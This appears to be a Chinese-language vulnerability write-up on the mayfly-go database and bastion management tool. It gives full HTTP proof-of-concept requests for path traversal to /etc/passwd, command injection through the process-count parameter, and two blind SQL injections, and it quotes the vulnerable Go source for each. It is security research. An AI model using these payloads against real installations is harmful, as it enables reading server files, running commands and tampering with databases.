这个程序我以为是web数据库管理工具,结果还自带堡垒机的功能,后台功能点都使用了一遍,感觉确实不错,配合工具找了几个后台的洞,危害不大.
指纹特征
后台目录遍历
在后台 运维-机器列表-机器操作-文件 处,点击查看文件
正常的请求
1
2
3
4
5
6
7
8
9
|
GET http://10.211.55.3:8888/api/machines/10/files/40/read?fileId=40&path=%2Ftmp%2F&machineId=10 HTTP/1.1
Host: 10.211.55.3:8888
Accept: application/json, text/plain, */*
Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE2NjUwODAxMjcsImlkIjoxLCJ1c2VybmFtZSI6ImFkbWluIn0.qf3LuOfc7-kZYYQVXZ6TSx3CGZLXKhoN_2kG1PUGhyI
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36
Referer: http://10.211.55.3:8888/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
|
修改path的值
1
2
3
4
5
6
7
8
|
GET /api/machines/10/files/42/read?fileId=42&machineId=10&path=%2Ftmp%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
Host: 10.211.55.3:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.9
Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE2NjUwODAxMjcsImlkIjoxLCJ1c2VybmFtZSI6ImFkbWluIn0.qf3LuOfc7-kZYYQVXZ6TSx3CGZLXKhoN_2kG1PUGhyI
Referer: http://10.211.55.3:8888/
Accept-Encoding: gzip
|
而path的值直接用 /etc/passwd
是不行的,来看看代码
定位到 server/internal/machine/api/machine_file.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
|
func (m *MachineFile) ReadFileContent(rc *ctx.ReqCtx) {
g := rc.GinCtx
fid := GetMachineFileId(g)
readPath := g.Query("path")
readType := g.Query("type")
sftpFile := m.MachineFileApp.ReadFile(fid, readPath)
defer sftpFile.Close()
fileInfo, _ := sftpFile.Stat()
// 如果是读取文件内容,则校验文件大小
if readType != "1" {
biz.IsTrue(fileInfo.Size() < max_read_size, "文件超过1m,请使用下载查看")
}
rc.ReqParam = fmt.Sprintf("path: %s", readPath)
// 如果读取类型为下载,则下载文件,否则获取文件内容
if readType == "1" {
// 截取文件名,如/usr/local/test.java -》 test.java
path := strings.Split(readPath, "/")
rc.Download(sftpFile, path[len(path)-1])
} else {
datas, err := io.ReadAll(sftpFile)
biz.ErrIsNilAppendErr(err, "读取文件内容失败: %s")
rc.ResData = string(datas)
}
}
|
可以看到,对 path 的内容没有过滤。且当 type=1 时,是作为下载文件流返回的
那么这个点到底算不算漏洞,我认为是漏洞,但没有危害,因为后台本身就是可以远程连接运维主机的,但参数没有进行过滤也确实是问题所在,所以是漏洞,无实际危害。
后台命令注入
在后台 运维-机器列表-机器操作-文件 处,点击进程
看下正常请求包
1
2
3
4
5
6
7
8
9
|
GET http://10.211.55.3:8888/api/machines/10/process?name=&sortType=1&count=10&id=10 HTTP/1.1
Host: 10.211.55.3:8888
Accept: application/json, text/plain, */*
Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE2NjUwODAxMjcsImlkIjoxLCJ1c2VybmFtZSI6ImFkbWluIn0.qf3LuOfc7-kZYYQVXZ6TSx3CGZLXKhoN_2kG1PUGhyI
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36
Referer: http://10.211.55.3:8888/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
|
修改下 count 的值
1
2
3
4
5
6
7
8
9
|
GET http://10.211.55.3:8888/api/machines/10/process?name=&sortType=1&count=10%7Cid&id=10 HTTP/1.1
Host: 10.211.55.3:8888
Accept: application/json, text/plain, */*
Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE2NjUwODAxMjcsImlkIjoxLCJ1c2VybmFtZSI6ImFkbWluIn0.qf3LuOfc7-kZYYQVXZ6TSx3CGZLXKhoN_2kG1PUGhyI
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36
Referer: http://10.211.55.3:8888/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
|
来看看代码
定位到 server/internal/machine/api/machine.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
|
// 获取进程列表信息
func (m *Machine) GetProcess(rc *ctx.ReqCtx) {
g := rc.GinCtx
cmd := "ps -aux "
sortType := g.Query("sortType")
if sortType == "2" {
cmd += "--sort -pmem "
} else {
cmd += "--sort -pcpu "
}
pname := g.Query("name")
if pname != "" {
cmd += fmt.Sprintf("| grep %s ", pname)
}
count := g.Query("count")
if count == "" {
count = "10"
}
cmd += "| head -n " + count
cli := m.MachineApp.GetCli(GetMachineId(rc.GinCtx))
biz.ErrIsNilAppendErr(m.ProjectApp.CanAccess(rc.LoginAccount.Id, cli.GetMachine().ProjectId), "%s")
res, err := cli.Run(cmd)
biz.ErrIsNilAppendErr(err, "获取进程信息失败: %s")
rc.ResData = res
}
|
可以看到 count 参数没有进行过滤,拼接到了 cmd 变量的后面,造成了命令注入
这个漏洞和上面那个一样,我认为是漏洞,但危害不大,不过这个命令执行后在后台日志里是看不到的。
后台sql盲注 1处
在后台-账号管理处进行查询
看下 poc
1
2
3
4
5
6
7
8
|
GET /api/sys/accounts?username=admin%E9%8E%88%27%22%5C%28 HTTP/1.1
Host: 10.211.55.3:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.9
Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE2NjUwODAxMjcsImlkIjoxLCJ1c2VybmFtZSI6ImFkbWluIn0.qf3LuOfc7-kZYYQVXZ6TSx3CGZLXKhoN_2kG1PUGhyI
Referer: http://10.211.55.3:8888/
Accept-Encoding: gzip
|
测一下,可以跑出来
定位到代码中看下问题 server/internal/sys/api/account.go
1
2
3
4
5
6
|
// @router /accounts [get]
func (a *Account) Accounts(rc *ctx.ReqCtx) {
condition := &entity.Account{}
condition.Username = rc.GinCtx.Query("username")
rc.ResData = a.AccountApp.GetPageList(condition, ginx.GetPageParam(rc.GinCtx), new([]vo.AccountManageVO))
}
|
无任何过滤
这个注入影响平台本身,还是有些危害的。
后台sql盲注 2处
后台 数据操作处
1
2
3
4
5
6
7
8
|
GET /api/dbs/13/t-index?db=mayfly-go&id=13&tableName=t_sys_role_resource%27and%27n%27%3D%27n HTTP/1.1
Host: 10.211.55.3:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.9
Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE2NjUwODAxMjcsImlkIjoxLCJ1c2VybmFtZSI6ImFkbWluIn0.qf3LuOfc7-kZYYQVXZ6TSx3CGZLXKhoN_2kG1PUGhyI
Referer: http://10.211.55.3:8888/
Accept-Encoding: gzip
|
1
2
3
4
5
6
7
8
|
GET /api/dbs/13/c-metadata?db=mayfly-go&id=13&tableName=t_sys_role_resource%27and%28select%2Afrom%28select%2Bsleep%280%29%29a%2F%2A%2A%2Funion%2F%2A%2A%2Fselect%2B1%29%3D%27 HTTP/1.1
Host: 10.211.55.3:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.9
Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE2NjUwODAxMjcsImlkIjoxLCJ1c2VybmFtZSI6ImFkbWluIn0.qf3LuOfc7-kZYYQVXZ6TSx3CGZLXKhoN_2kG1PUGhyI
Referer: http://10.211.55.3:8888/
Accept-Encoding: gzip
|
看下2处的代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
func (d *Db) TableIndex(rc *ctx.ReqCtx) {
tn := rc.GinCtx.Query("tableName")
biz.NotEmpty(tn, "tableName不能为空")
rc.ResData = d.DbApp.GetDbInstance(GetIdAndDb(rc.GinCtx)).GetMeta().GetTableIndex(tn)
}
// @router /api/db/:dbId/c-metadata [get]
func (d *Db) ColumnMA(rc *ctx.ReqCtx) {
g := rc.GinCtx
tn := g.Query("tableName")
biz.NotEmpty(tn, "tableName不能为空")
dbi := d.DbApp.GetDbInstance(GetIdAndDb(rc.GinCtx))
biz.ErrIsNilAppendErr(d.ProjectApp.CanAccess(rc.LoginAccount.Id, dbi.ProjectId), "%s")
rc.ResData = dbi.GetMeta().GetColumns(tn)
}
|
都是只校验不为空,无其他过滤
不过这个后台功能点本身就是对添加的数据源进行sql查询,这个注入点也是影响数据源而不是平台本身,也没啥危害。